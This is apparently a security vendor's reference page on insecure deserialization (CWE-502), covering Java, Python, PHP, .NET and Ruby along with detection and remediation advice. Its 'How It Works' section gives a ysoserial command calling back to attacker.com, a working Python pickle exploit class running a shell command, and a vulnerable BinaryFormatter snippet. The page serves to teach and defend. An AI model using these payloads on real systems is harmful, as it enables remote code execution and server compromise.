SecureBlockLog inStart a pentest
Vulnerability Repository
CriticalInjection

Deserialization of Untrusted Data

Applications that deserialize user-controlled data allow attackers to instantiate arbitrary objects and trigger code execution through exploitable gadget chains in the classpath.

CVSS 9.8CWE CWE-502OWASP A08:2021 — Software and Data Integrity Failures

Description

Deserialization of untrusted data is a critical vulnerability class in which an application reconstructs objects from a serialised byte stream provided by or influenced by an attacker. The danger lies not in the data itself but in the act of reconstruction: many serialisation formats trigger code execution as a side effect of object instantiation, via lifecycle callbacks, finalizers, or magic methods. An attacker who can supply the serialised byte stream can craft a payload that invokes an arbitrary chain of existing application code — a Property-Oriented Programming (POP) or gadget chain — to achieve remote code execution without injecting any new code.

CWE-502 — Deserialization of Untrusted Data is explicitly called out under A08:2021 — Software and Data Integrity Failures, which OWASP uses to group vulnerabilities where applications fail to verify the integrity of software components and data before processing them. Insecure deserialization has been responsible for critical vulnerabilities in Apache Struts (CVE-2017-9805), Jenkins, WebLogic (CVE-2019-2725), JBoss, and many other enterprise platforms.

The vulnerability is language-agnostic. Java's native serialisation, Python's pickle, PHP's unserialize(), .NET's BinaryFormatter, and Ruby's Marshal.load() all provide mechanisms through which user-controlled data can trigger code execution during reconstruction.

How It Works

Java native serialisation is the most commonly exploited variant in enterprise environments. Java serialised objects begin with the magic bytes AC ED 00 05 (hex), or rO0AB in Base64.

The Apache Commons Collections library (versions 3.1 and 4.0) contains a widely exploited gadget chain. An attacker generates a payload using ysoserial:

# Generate a command execution payload targeting Commons Collections 3.1
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker.com/callback' | base64

# Output: rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZQA...

This base64 payload is submitted as a Java serialised object — in a cookie, a POST body, or a network protocol message. When the vulnerable server calls ObjectInputStream.readObject(), the gadget chain executes curl http://attacker.com/callback with the server's process permissions.

Python pickle exploitation:

import pickle, os, base64

class Exploit(object):
    def __reduce__(self):
        # __reduce__ is called during deserialization
        return (os.system, ('id > /tmp/pwned',))

payload = base64.b64encode(pickle.dumps(Exploit()))
# Submit this payload to any endpoint that calls pickle.loads()

Any application that deserialises pickled user data — including session stores, task queues (Celery), and caching layers — is vulnerable.

.NET BinaryFormatter was deprecated by Microsoft precisely because of its inherent insecurity. Any .NET application using BinaryFormatter.Deserialize() on user-supplied data is exploitable with ExploitRemotingService and similar tools:

// Vulnerable
BinaryFormatter formatter = new BinaryFormatter();
object obj = formatter.Deserialize(userSuppliedStream);  // RCE possible

Serialisation vulnerabilities frequently appear in unexpected locations: remember that HTTP session data, caches, message queues, cookies, and URL parameters may all carry serialised objects.

Impact

  • Remote code execution — gadget chains in common libraries achieve OS command execution without requiring any application-specific code.
  • Full server compromise — RCE with the application server's privileges enables file system access, credential theft, and persistent backdoor installation.
  • Authentication bypass — deserialising a manipulated session object can grant administrative roles or bypass authentication checks.
  • Denial of service — malformed serialised objects can trigger infinite loops, stack overflows, or excessive memory allocation during deserialization, crashing the application.
  • Data exfiltration — RCE provides direct access to the database, file system, and internal network from the server host.
  • Lateral movement — server-level shell access enables pivoting to internal services, databases, and other hosts on the same network segment.

Detection

  1. Identify deserialization entry points — search code for ObjectInputStream.readObject() (Java), pickle.loads() (Python), Marshal.load() (Ruby), BinaryFormatter.Deserialize() (.NET), unserialize() (PHP), and equivalent functions in the language's standard library.
  2. Detect serialised format signatures in traffic — use Burp Suite to search all requests and responses for rO0AB (Java), \x80\x02 (Python pickle), O: (PHP), and ACED0005 (Java hex) patterns.
  3. Test with ysoserial gadget chains — for Java applications, generate payloads for all available ysoserial modules and submit to identified deserialization endpoints. Monitor for out-of-band callbacks (DNS, HTTP) using Burp Collaborator.
  4. Test with PHPGGC — for PHP applications, enumerate installed Composer packages and generate POP chain payloads for matching gadget libraries.
  5. Monitor for class loading anomalies — enable Java deserialization monitoring using SerialKiller or NotSoSerial agent to log all classes being deserialised and alert on unexpected class names.

Remediation

Eliminate deserialization of untrusted data entirely. Replace native serialisation with a data-only format: JSON, Protocol Buffers, or MessagePack. These formats carry data but not executable class metadata, eliminating gadget chain exploitation.

Implement a serialisation allowlist. If native deserialization cannot be removed, use a Java Agent or custom ObjectInputStream subclass that rejects classes not on an explicit allowlist:

// Java: custom ObjectInputStream that blocks unexpected classes
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException {
    if (!ALLOWED_CLASSES.contains(desc.getName())) {
        throw new InvalidClassException("Blocked class: " + desc.getName());
    }
    return super.resolveClass(desc);
}

Sign and verify serialised data. If deserialization from external sources cannot be avoided, sign all serialised payloads with HMAC-SHA256 and verify the signature before calling the deserialization function. An attacker cannot forge a valid signature without the key.

Deprecate BinaryFormatter in .NET. Microsoft has removed BinaryFormatter from .NET 9+. Migrate to System.Text.Json or XmlSerializer for cross-boundary data exchange.

Ready when you are
Scope a pentest in the next two minutes.
Start scoping